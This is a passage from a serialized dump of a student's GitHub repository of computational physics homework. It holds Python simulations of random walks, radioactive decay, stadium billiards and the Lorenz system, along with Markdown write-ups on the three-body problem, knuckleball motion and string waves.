t0.append(i+1)\nplt.plot(t0,r2ave,'o',ms=3)\nplt.xlabel('time(step number)')\nplt.ylabel('<r2>')\nplt.title('random walk in one dimension')\n#plt.text(10,80,'<x2> versus time')\nk,b=np.polyfit(t0,r2ave,1)#多项式拟合\nideal=[]\nfor i in range(100):\n ideal.append(k*(i+1)+b)\nplt.plot(t0,ideal,color='red')\nprint(k,b)\n\n \n"},{"alpha_fraction":0.5827686190605164,"alphanum_fraction":0.6563407778739929,"avg_line_length":30.303030014038086,"blob_id":"eb1e1da5e9b4c07ba8e7e5e327e805af50c569ad","content_id":"3220a478d344c7e193310b7dcd96993fd0200083","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1053,"license_type":"no_license","max_line_length":92,"num_lines":33,"path":"/Ch1_1.4.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"\nimport matplotlib.pyplot as plt\ntime=[0]\nT=10000\na=10#初始A粒子数\nb=0#初始B粒子数\nA=[a]#the number of nucleus A\nB=[b]#the number of nucleus B\nAnalytic_A=[a]\nAnalytic_B=[b]\ndt=0.1\ntA=1000#time constant for A\ntB=1#time constant for B\ne=2.718281828459\ni=0\nwhile i<=int(T/dt-1):\n#for i in range(int(T/dt)-1):\n num_of_a_at_dt=A[i]-dt*A[i]/tA\n A.append(num_of_a_at_dt)\n num_of_b_at_dt=B[i]+dt*(A[i]/tA-B[i]/tB)\n B.append(num_of_b_at_dt)\n time.append(dt*(i+1))\n Analytic_A.append(a*2.718281828459**(-dt*(i+1)/tA))\n Analytic_B.append(b+a*tB/(tA-tB)*(2.718281828459**(-dt*(i+1)/tA)-2.718**(-dt*(i+1)/tB)))\n i=i+1\nplt.xlabel('Time(s)')\nplt.ylabel('Number of particles')\nplt.title('Radioactive Decay of 2 nucleus')\nline1,= plt.plot(time,A,color='blue',linewidth='3.0',label='A')\nline2,= plt.plot(time,B,color='pink',linewidth='3.0',label='B')\nline3,= plt.plot(time,Analytic_A,color='yellow',linestyle='-.',label='analytic_A')\nline4,= plt.plot(time,Analytic_B,color='red',linestyle='-.',label='analytic_B')\nplt.legend()\nplt.show()"},{"alpha_fraction":0.6990927457809448,"alphanum_fraction":0.7837701439857483,"avg_line_length":41.10638427734375,"blob_id":"886b10e4069fd5935d0e9617f357663a86dc9b35","content_id":"be6d6ab4f9c69f650cd4055f12e9edfc449f16c0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1984,"license_type":"no_license","max_line_length":300,"num_lines":47,"path":"/ch4/The Three-Body Problem.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"# The Three-Body Problem\n\n2015301020090\n\nProblem 4.16\n\n##Background\n\nIn this section we'll consider one of the simplest three-body problems,the Sun and two planets,Earth&Jupiter.The magnitude of the forces between the planets are given by inverse-square law.We assume that the orbits of the plants are coplanar.Again we use Euler-Cromer method to calculate the motion.\n\nProblem 4.16 require us to carry out a stimulation which consider Earth,Jupiter&the Sun.And take the center of mass as the origin.I don't know how to choose the initial positons of the planets so I just assume that they are all in x-axis and the initial speed directions are parallel to y-axis.\n\n## [Codes](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch4/ch4.py)\n\n## Results&Analysis\n\n1.When the mass of Jupiter is unchanged.\n\n\n\nTwo planets circulate around the sun.The sun is also moving along y-axis.\n\n2.The mass of jupiter increased to 10 times of its true mass.\n\n \n\n3.The mass of jupiter increased to 100 times of its true mass.\n\n\n\n4.The mass of jupiter increased to 300 times of its true mass.\n\n\n\n\n\n5.The mass of jupiter increased to 1000 times of its true mass.\n\n\n\nJupiter drifts apart but Earth still moves around the Sun\n\n## Defect\n\nThe text book suggests us to give the Sun an initial velocity to make the total momentum of the the system exactly zero so that the center of mass will remain fixed.However,here's the result I got.\n\n\n\n\n\n\n\n"},{"alpha_fraction":0.6550976037979126,"alphanum_fraction":0.7156181931495667,"avg_line_length":75.83333587646484,"blob_id":"6f907cb8c1eaee306a32362f59122f469f364db6","content_id":"26d0c2b20691a432ccee29757dd84c2bcf65686e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":4626,"license_type":"no_license","max_line_length":466,"num_lines":60,"path":"/Baseball.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"\n\n\n> Written with [StackEdit](https://stackedit.io/).\n# Chapter_two_section2.3&4\n--------------------\n\n贾雪巍 2015301020090\nproblem2.17 Kunckleball\n\n--------------------------\n## Throwing a Baseball\n-----------------------------------\n\n## Background\nThe basic equations of motion of for a baseball are the same as those of the cannon shell,with a few deflections, and we will again use the Euler method in our stimulations.Here are the changes we made on the model.\n\n**1**.The force on a baseball due to air resistance is given by the same form as cannon shell's.But the drag coeffcient is a function of v,and is depent on the ball conditions.(P33.fig 2.6)At high speeds or when throwing a rough ball the flow become turbulent.We take \n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{B_2}{m}=0.0039+\\frac{0.0058}{1+exp[(v-v_d)/\\Delta]}\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{B_2}{m}=0.0039+\\frac{0.0058}{1+exp[(v-v_d)/\\Delta]}\" title=\"\\frac{B_2}{m}=0.0039+\\frac{0.0058}{1+exp[(v-v_d)/\\Delta]}\" /></a>\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=v_d=35m/s,\\Delta=5m/s\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?v_d=35m/s,\\Delta=5m/s\" title=\"v_d=35m/s,\\Delta=5m/s\" /></a>\n\n**2**.The v in air resistance is the speed relative to the air. For a ball spinning about an axis perpendicular to the direction of travel,when add the drag force on different sides of the ball,there will be a net force perpendicular to the center of mass velocity called Magnus force.\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=F_M=S_0wv_x\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?F_M=S_0wv_x\" title=\"F_M=S_0wv_x\" /></a>\nfor baseball<a href=\"http://www.codecogs.com/eqnedit.php?wlatex=S_0/m\\approx4.1\\times10^{-4}\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?S_0/m\\approx4.1\\times10^{-4}\" title=\"S_0/m\\approx4.1\\times10^{-4}\" /></a>.w is the angle velocity we assume w is a constant.\n\n**3**. Knuckleball.Baseball is not a total smooth ball.Since the drag force is greater for a smooth ball than for a rough ball,there will be an imbalance on the two sides of the ball,giving a net force in the direction of the rough side.If the ball rotates **slowly** as it moves so that the exposed stitches moves, the force changes direction.For simplicity we will assume that the ball spins about a vertical axis .The force is given approximately by the function\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\frac{F_{lateral}}{mg}=0.5[sin(4\\theta)-0.25sin(8\\theta)+0.08sin(12\\theta)-0.025sin(16\\theta)]$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\frac{F_{lateral}}{mg}=0.5[sin(4\\theta)-0.25sin(8\\theta)+0.08sin(12\\theta)-0.025sin(16\\theta)]$$\" title=\"$$\\frac{F_{lateral}}{mg}=0.5[sin(4\\theta)-0.25sin(8\\theta)+0.08sin(12\\theta)-0.025sin(16\\theta)]$$\" /></a>\n\n\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch3.py)\n--------------------\n\n## Result&Analysis\n---------------------\n1.different center of mass velocity\n(I choose this initial angular orientation and angular velocity because it looks ok，others go crazy......-_-#)\n\n\n **When change center of mass velocity,the curve shape doesn't change.**\n **The largest velocity has the longest range.**\n\n---------------------------\n2.different w\n\n\n**pi/5 has the longest range.\nFrom the x-z figure,I can approximately see how a Knucleball moves.It's hard to say where it lands.**\n\n----------------\n3.different theta\nI abandon the curves with x<0\n\n\n**1.8pihas the longest range.Still can't tell how this works.It is not consistent with my experience -_-#**\n## Defect\nThe air resistance shouldn't have x<0(??),I think the forces in this model are wrong.\nThe actual the baseball motion may not have a horizontal velocity.Its spin may be more complicated.And the forces in this model are just approximations which can make our calculaton easier. \n## The way to catch a knuckleball is to wait until it stops rolling and pick it up.--Bob Uecker哈哈哈\n"},{"alpha_fraction":0.5225316286087036,"alphanum_fraction":0.6096202731132507,"avg_line_length":22.780487060546875,"blob_id":"e59a79f65322fa5400ca1f449e867cd2434aa93a","content_id":"2a1e61f069931fd4a15b22f196a50594b53b4873","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1985,"license_type":"no_license","max_line_length":41,"num_lines":82,"path":"/final/randpath副本.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\ndef randpath(T):\n x=[0]\n t=[0]\n x2ave=[0]*T\n for i in range(T):\n c=random.random()\n t.append(i+1)\n if c<=0.5:\n x.append(x[-1]+1)\n else:\n x.append(x[-1]-1)\n x2ave[i]=x2ave[i]+x[-1]**2\n return x,t,x2ave\nx,t,x2ave=randpath(100)\nx1,t1,x2ave1=randpath(100)\nfig = plt.figure(figsize=(10, 5))\nplt.plot(t,x,'o',ms=4,color='red')\nplt.plot(t1,x1,'o',ms=4,color='blue')\nplt.xlabel('time(step number)')\nplt.ylabel('X')\nplt.title('random walk in one dimension')\n\n\n#----------\naverage=[0]*101\nfor i in range(5000):\n x1,t1,x2ave1=randpath(100)\n for j in range(len(x1)):\n average[j]=average[j]+x1[j]/5000\nplt.figure(figsize=(10,5))\nplt.ylim(-0.5,0.5)\nplt.grid()\nplt.plot(t1,average)\nplt.xlabel('time(step number)')\nplt.ylabel('<x>')\nplt.title('random walk in one dimension')\nplt.text(0,0.15,'<x> versus time')\n#-----------\\\nx2ave=[0]*100\nfor i in range(5000):\n x1,t1,x2ave1=randpath(100)\n for j in range(len(x1)-1):\n x2ave[j]=x2ave[j]+x2ave1[j]/5000\nplt.figure(figsize=(10,5))\nplt.grid()\nt0=[]\nfor i in range(100):\n t0.append(i+1)\nplt.plot(t0,x2ave,'o',ms=3)\nplt.xlabel('time(step number)')\nplt.ylabel('<x2>')\nplt.title('random walk in one dimension')\nplt.text(10,80,'<x2> versus time')\nk,b=np.polyfit(t0,x2ave,1)#多项式拟合\nideal=[]\nfor i in range(100):\n ideal.append(k*(i+1)+b)\nplt.plot(t0,ideal,color='red')\nprint(k,b)\n#------\nx4ave=[0]*100\nfor i in range(5000):\n x1,t1,x2ave1=randpath(100)\n for j in range(len(x1)-1):\n x4ave[j]=x4ave[j]+x1[j+1]**4/5000\n\nplt.figure(figsize=(10,5))\nplt.grid()\nplt.plot(t0,x4ave,'o',ms=3)\nplt.xlabel('time(step number)')\nplt.ylabel('<x4>')\nplt.title('random walk in one dimension')\na,b,c=np.polyfit(t0,x4ave,2)\nideal4=[]\nfor i in range(100):\n ideal4.append(a*i**2+b*i+c)\nplt.plot(t0,ideal4,color='red')\nplt.text(20,20000,'<x4>versus time')\nprint(a,b,c)\n \n \n \n\n\n \n\n\n\n"},{"alpha_fraction":0.39566299319267273,"alphanum_fraction":0.4653394818305969,"avg_line_length":20.96875,"blob_id":"555b10b85d47c65c4d77e270344ffc3ca82b7868","content_id":"1b0a5518734e5ed77fb57c775c3ef2297d15dd68","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2813,"license_type":"no_license","max_line_length":56,"num_lines":128,"path":"/homework8/code/phasespacebliiard.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import math\nimport matplotlib.pyplot as plt\nimport numpy as np\ndef billiard(x0,y0,vx0,vy0,r,a,time):\n x=[x0]\n y=[y0]\n vx=vx0\n vy=vy0\n VX=[vx]\n t=[0]\n dt=0.01\n T=0\n while T<=time:\n x.append(x[-1]+vx*dt)\n y.append(y[-1]+vy*dt)\n t.append(t[-1]+dt)\n VX.append(vx)\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2:\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\n d2=math.sqrt(vx**2+vy**2)\n d1=2*r-d\n \n x.append(x[-1]*d1/d)\n y.append((y[-1]-a)*d1/d+a)\n cs=x[-1]/d\n ss=(y[-1]-a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n VX.append(vx)\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2:\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\n d1=2*r-d\n x.append(x[-1]*d1/d)\n y.append((y[-1]+a)*d1/d-a)\n cs=x[-1]/d\n ss=(y[-1]+a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n VX.append(vx)\n elif -a<y[-1]<a and x[-1]>r:\n x[-1]=2*r-x[-1]\n x.append(x[-1])\n y.append(y[-1])\n vx=-vx\n VX.append(vx)\n elif -a<y[-1]<a and x[-1]<-r:\n x[-1]=-2*r-x[-1]\n vx=-vx \n x.append(x[-1])\n y.append(y[-1])\n VX.append(vx)\n T=t[-1]\n return x,y,VX\n\nfig = plt.figure(figsize=(11, 11))\n\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,800)\na=B[0]\nb=B[1]\nc=B[2]\nV=[]\nxx=[]\nA=billiard(0.5,0.5,-0.4,-0.3,1,0.01,800)\naa=A[0]\nbb=A[1]\ncc=A[2]\nVV=[]\nxxx=[]\nC=billiard(0.5,0.5,-0.4,-0.3,1,0.1,800)\naaa=C[0]\nbbb=C[1]\nccc=C[2]\nVVV=[]\nxxxx=[]\nD=billiard(0.5,0.5,-0.4,-0.3,1,1,800)\naaaa=C[0]\nbbbb=C[1]\ncccc=C[2]\nVVVV=[]\nxxxxx=[]\nplt.subplot(2,2,1)\nplt.xlim(-1,1)\n\nfor i in range(len(B[1])-1):\n if abs(b[i])<0.001:\n V.append(c[i])\n xx.append(a[i])\nplt.plot(xx,V,'o', ms=2,color='black')\nplt.xlabel('x')\nplt.ylabel('vx')\nplt.title('alpha=0')\nplt.subplot(2,2,2)\nplt.xlim(-1,1)\n\nfor i in range(len(A[1])-1):\n if abs(bb[i])<0.001:\n VV.append(cc[i])\n xxx.append(aa[i])\nplt.plot(xxx,VV,'o', ms=2,color='black')\nplt.xlabel('x')\nplt.ylabel('vx')\nplt.title('alpha=0.01')\nplt.subplot(2,2,3)\nplt.xlim(-1,1)\n\nfor i in range(len(C[1])-1):\n if abs(bbb[i])<0.001:\n VVV.append(ccc[i])\n xxxx.append(aaa[i])\nplt.plot(xxxx,VVV,'o', ms=2,color='black')\nplt.xlabel('x')\nplt.ylabel('vx')\nplt.title('alpha=0.1')\nplt.subplot(2,2,4)\nplt.xlim(-1,1)\n\nfor i in range(len(D[1])-1):\n if abs(bbbb[i])<0.001:\n VVVV.append(cccc[i])\n xxxxx.append(aaaa[i])\nplt.plot(xxxx,VVV,'o', ms=2,color='black')\nplt.xlabel('x')\nplt.ylabel('vx')\nplt.title('alpha=1')\n\n"},{"alpha_fraction":0.46488550305366516,"alphanum_fraction":0.5022900700569153,"avg_line_length":16.399999618530273,"blob_id":"ee05983fd4a38a7618e8d00d36b1165ec6bb9305","content_id":"2c3e320e31b2f1e32691949828c5c9b350e5e8b0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1310,"license_type":"no_license","max_line_length":47,"num_lines":75,"path":"/Ch3/lorenz poin.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef lorenz(r,sigma,b):\n x=[0]\n y=[1]\n z=[1]\n t=[0]\n i=0\n t_i=0\n dt=0.01\n while t_i<=50:\n x_i=x[i]\n y_i=y[i]\n z_i=z[i]\n t_i=t[i]\n x_dt=x_i+sigma*(y_i-x_i)*dt\n y_dt=y_i-(x_i*z_i-r*x_i+y_i)*dt\n z_dt=z_i+(x_i*y_i-b*z_i)*dt\n T=t_i+dt\n x.append(x_dt)\n y.append(y_dt)\n z.append(z_dt)\n t.append(T)\n i=i+1\n return x,y,z,t\nL=lorenz(25,10,8/3)\n\n\n\n\n#fig=plt.figure()\n#ax = fig.gca(projection='3d')\nX=np.array(L[0])\nY=np.array(L[1])\nZ=np.array(L[2])\nT=np.array(L[3])\n\n\n \n#ax.plot(X,Y,Z,color='black')\nplt.subplot(121)\npoin_z=[]\npoin_x=[]\npoin_y=[]\nfor i in range(len(X)-1):\n if X[i]*X[i+1]<=0:\n poin_z.append(Z[i])\n poin_y.append(Y[i])\n \nplt.plot(np.array(poin_y),np.array(poin_z),'o')\nplt.xlabel('y')\nplt.ylabel('z')\nplt.title('z versus y when x=0') \n\nplt.subplot(122)\np_z=[]\np_x=[]\np_y=[]\nfor i in range(len(X)-1):\n if Y[i]*Y[i+1]<=0:\n p_z.append(Z[i])\n p_x.append(X[i]) \nplt.plot(np.array(p_x),np.array(p_z),'o')\nplt.xlabel('x')\nplt.ylabel('z')\nplt.title('x versus z when y=0') \n\n#for angle in range(0, 360):\n#ax.view_init(30, 0)\n#plt.draw()\n #plt.pause(.001)\n#plt.plot(L[0],L[2])\nplt.show()\n "},{"alpha_fraction":0.5068399310112,"alphanum_fraction":0.5896033048629761,"avg_line_length":20.441177368164062,"blob_id":"4bc5cc22e3c64f4bf466ab06d39e9aee29cd4633","content_id":"93e8cd04a2ae7f041e15ae93e0c5e4f9263b97c0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1462,"license_type":"no_license","max_line_length":43,"num_lines":68,"path":"/Ch3/lorenz.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import matplotlib as mpl\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef lorenz(r,sigma,b,TIME):\n x=[1]\n y=[0]\n z=[0]\n t=[0]\n i=0\n t_i=0\n dt=0.01\n while t_i<=TIME:\n x_i=x[i]\n y_i=y[i]\n z_i=z[i]\n t_i=t[i]\n x_dt=x_i+sigma*(y_i-x_i)*dt\n y_dt=y_i-(x_i*z_i-r*x_i+y_i)*dt\n z_dt=z_i+(x_i*y_i-b*z_i)*dt\n T=t_i+dt\n x.append(x_dt)\n y.append(y_dt)\n z.append(z_dt)\n t.append(T)\n i=i+1\n return x,y,z,t\nL1=lorenz(100,10,8/3,50)\nL2=lorenz(100,10,8/3,50)\nfig = plt.figure(figsize=(15, 4))\n#ax = fig.gca(projection='3d')\nax1 = fig.add_subplot(131, projection='3d')\nax2 = fig.add_subplot(132, projection='3d')\n\nax3 = fig.add_subplot(133, projection='3d')\n#ax.view_init(90, 0)\n#ax.set_xlabel(\"X label\")\n#ax.set_ylabel(\"Y label\")\n#ax.set_zlabel(\"Z label\")\nX1=np.array(L1[0])\nY1=np.array(L1[1])\nZ1=np.array(L1[2])\n#T=np.array(L1[3])\nX2=np.array(L2[0])\nY2=np.array(L2[1])\nZ2=np.array(L2[2])\nax1.plot(X1,Y1,Z1,color='black')\nax1.set_title('r=100')\nax1.set_xlabel('x')\nax1.set_ylabel('y')\nax1.set_zlabel('z')\nax1.view_init(30,0)\nax2.plot(X2,Y2,Z2,color='black')\nax2.set_title('r=100')\nax2.set_xlabel('x')\nax2.set_ylabel('y')\nax2.set_zlabel(\"z\")\nax1.view_init(30,180)\n\nax3.plot(X2,Y2,Z2,color='black')\nax3.set_title('r=100')\nax3.set_xlabel('x')\nax3.set_ylabel('y')\nax3.set_zlabel(\"z\")\nax3.view_init(90,0)\nplt.show()\n "},{"alpha_fraction":0.30363160371780396,"alphanum_fraction":0.37401720881462097,"avg_line_length":26.340206146240234,"blob_id":"e1566979ec964e366defb7026cf6d5dba3a1a4d7","content_id":"fcf9d66d3c47a1489bbfdd1b0a42aa9659a1187b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2671,"license_type":"no_license","max_line_length":98,"num_lines":97,"path":"/homework8/code/phasespace3.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import math\nimport matplotlib.pyplot as plt\ndef billiard(x0,y0,vx0,vy0,r,a,X,Y, RR,time):\n x=[x0]\n y=[y0]\n vx=vx0\n vy=vy0\n VX=[vx]\n t=[0]\n dt=0.001\n T=0\n while T<=time:\n x.append(x[-1]+vx*dt)\n y.append(y[-1]+vy*dt)\n t.append(t[-1]+dt)\n VX.append(vx)\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2 and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\n d1=2*r-d\n x.append(x[-1]*d1/d)\n y.append((y[-1]-a)*d1/d+a)\n VX.append(vx)\n cs=x[-1]/d\n ss=(y[-1]-a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2 and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\n d1=2*r-d\n x.append(x[-1]*d1/d)\n y.append((y[-1]+a)*d1/d-a)\n VX.append(vx)\n cs=x[-1]/d\n ss=(y[-1]+a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n elif -a<y[-1]<a and x[-1]>r and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\n x[-1]=2*r-x[-1]\n vx=-vx\n x.append(x[-1])\n y.append((y[-1]+a)*d1/d-a)\n VX.append(vx)\n elif -a<y[-1]<a and x[-1]<-r and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\n x[-1]=-2*r-x[-1]\n vx=-vx\n x.append(x[-1])\n y.append((y[-1]+a)*d1/d-a)\n VX.append(vx)\n elif ((x[-1]-X)**2+((y[-1]-a)-Y)**2)<=RR**2:\n d=math.sqrt((x[-1]-X)**2+(y[-1]-Y)**2)\n d1=2*RR-d\n xx=x[-1]*d1/d\n yy=y[-1]*d1/d\n if (x[-1]*d1/d-Y)**2+(y[-1]*d1/d-Y)**2>=RR**2:\n x.append(xx)\n y.append(yy)#t.append(t[-1]+dt)\n cs=x[-1]/d\n ss=y[-1]/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n VX.append(vx)\n elif (x[-1]*d1/d-X)**2+(y[-1]*d1/d-Y)**2<RR**2:\n xx=xx*d1/d\n yy=yy*d1/d\n T=t[-1]\n return x,y,VX\n\n\n\n\n\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,0.01,0.01,0.2,200)\n\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,0.001,0.001,0.1,800)\naa=B[0]\nbb=B[1]\ncc=B[2]\n\nV=[]\nxx=[]\nfor i in range(len(B[1])-1):\n if abs(bb[i])<0.001:\n V.append(cc[i])\n xx.append(aa[i])\n \n \nplt.plot(xx,V,'o', ms=2,color='black')\n\nplt.xlabel('x')\nplt.ylabel('vx')\nplt.title('r=0.1 (0.001,0.001)')\n\n \n \n"},{"alpha_fraction":0.37471264600753784,"alphanum_fraction":0.45195403695106506,"avg_line_length":25.399999618530273,"blob_id":"839018969a4404115eac44d1f5a90bcbf155b6ba","content_id":"bd35ba1d22adf47bd459e5ecfde03fbd9f919afe","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2175,"license_type":"no_license","max_line_length":56,"num_lines":80,"path":"/homework8/code/a>0.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import math\nimport matplotlib.pyplot as plt\ndef billiard(x0,y0,vx0,vy0,r,a,time):\n x=[x0]\n y=[y0]\n vx=vx0\n vy=vy0\n t=[0]\n dt=0.01\n T=0\n while T<=time:\n x.append(x[-1]+vx*dt)\n y.append(y[-1]+vy*dt)\n t.append(t[-1]+dt)\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2:\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\n \n d1=2*r-d\n x.append(x[-1]*d1/d)\n y.append((y[-1]-a)*d1/d+a)\n cs=x[-1]/d\n ss=(y[-1]-a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2:\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\n d1=2*r-d\n x.append(x[-1]*d1/d)\n y.append((y[-1]+a)*d1/d-a)\n cs=x[-1]/d\n ss=(y[-1]+a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n elif -a<y[-1]<a and x[-1]>r:\n x[-1]=2*r-x[-1]\n vx=-vx\n elif -a<y[-1]<a and x[-1]<-r:\n x[-1]=-2*r-x[-1]\n vx=-vx \n T=t[-1]\n return x,y\ndef circle(r1,l1):\n x1=[]\n y1=[]\n theta=[]\n theta.append(0)\n tu=math.pi/10000\n for j in range(10000):\n x1.append(r1*math.cos(theta[-1]))\n y1.append(r1*math.sin(theta[-1])+l1)\n theta.append(theta[-1]+tu)\n theta1=[]\n theta1.append(math.pi) \n for k in range(10000):\n x1.append(r1*math.cos(theta1[-1]))\n y1.append(r1*math.sin(theta1[-1])-l1)\n theta1.append(theta1[-1]+tu)\n return x1,y1\nfig = plt.figure(figsize=(11,5))\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,1000)\nD=billiard(0.5,0.5,-0.4,-0.3,1,0.01,800)\nplt.subplot(1,2,1)\nplt.plot(B[0],B[1],'k:')\na1,b1=circle(1,0.01)\nplt.plot(a1,b1,color='black')\nplt.title('Circular stadium-trajectory')\nplt.xlabel('x')\nplt.ylabel('y')\n\nplt.subplot(1,2,2)\nplt.plot(D[0],D[1],'k:')\na1,b1=circle(1,0.01)\nplt.plot(a1,b1,color='black')\nplt.title('Stasium billiard alpha=0.01')\nplt.xlabel('x')\nplt.ylabel('y')\n\n\n \n \n \n \n \n "},{"alpha_fraction":0.6401590704917908,"alphanum_fraction":0.7180914282798767,"avg_line_length":54.77777862548828,"blob_id":"9f76596cec9dd462af489062f13eb2108d52d7c2","content_id":"f2a680b537a2ecfabfc2e3e656b30b8dec25a6c3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":2515,"license_type":"no_license","max_line_length":372,"num_lines":45,"path":"/ch6/Waves: The ideal Case.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"# Waves: The ideal Case\n\n2015301020090\n\nProblem 6.2\n\n## Backgroud\n\nThe equation of wave motion is \n<a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{\\partial^{2}y}{\\partial&space;t^2}=c^2\\frac{\\partial^{2}y}{\\partial&space;x^2}\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{\\partial^{2}y}{\\partial&space;t^2}=c^2\\frac{\\partial^{2}y}{\\partial&space;x^2}\" title=\"\\frac{\\partial^{2}y}{\\partial t^2}=c^2\\frac{\\partial^{2}y}{\\partial x^2}\" /></a>\n\nc is the speed with which a wave moves on the string.We use a finitie difference form.Let the displacement of the string is a function of i and n.i and n are correspond to the spatial and time coordinates.We get\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=y(i.n+1)=2[1-r^2]y(i,n)-y(i,n-1)+r^2[y(i+1,n)+y(i-1,n)]\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?y(i.n+1)=2[1-r^2]y(i,n)-y(i,n-1)+r^2[y(i+1,n)+y(i-1,n)]\" title=\"y(i.n+1)=2[1-r^2]y(i,n)-y(i,n-1)+r^2[y(i+1,n)+y(i-1,n)]\" /></a>\n\nr=c*delta-xt/delta-x.\n\nWe set the initial displacement of the string as<a href=\"http://www.codecogs.com/eqnedit.php?latex=y_0(x)=exp[-k(x-x_0)^2]\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?y_0(x)=exp[-k(x-x_0)^2]\" title=\"y_0(x)=exp[-k(x-x_0)^2]\" /></a>\n\n,a \"Gaussian pluck\",where x0=0.3 and x runs from 0 to 1.And the string is held fixed y0(x) prior to t=0.\n\nThe problem we are dealing with involves two step sizes.We should let r=1.Because when r=1 the higher order terms are largely cancelled out.A smaller step is actually less accurate.With our numerical schem the disurbance is propagate one spacial step for each time step.We can't have a disturbance that moves faster.\n\n##\t[Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch6/ch6.py)\n\n## Results&Analysis\n\n1.r=1\n\n\n\n2.r<1\n\n\n\nTo see it clearly,here's a BIGGER picture:\n\nWe can see that after the reflection from a fixed end there's small blip.Our textbook says it is because the numerical error when r<1\n\n3.r>1\n\n\n\na smaller r:\n\n\n\n\n\n\n\n"},{"alpha_fraction":0.5077881813049316,"alphanum_fraction":0.5514018535614014,"avg_line_length":15.947368621826172,"blob_id":"ccffb81a0bf705c71ae3837d9bb45595f6fe9601","content_id":"f07449e50602ce7af8e160ec98a74ecdcef08117","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":321,"license_type":"no_license","max_line_length":39,"num_lines":19,"path":"/final/snowflake1.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import turtle 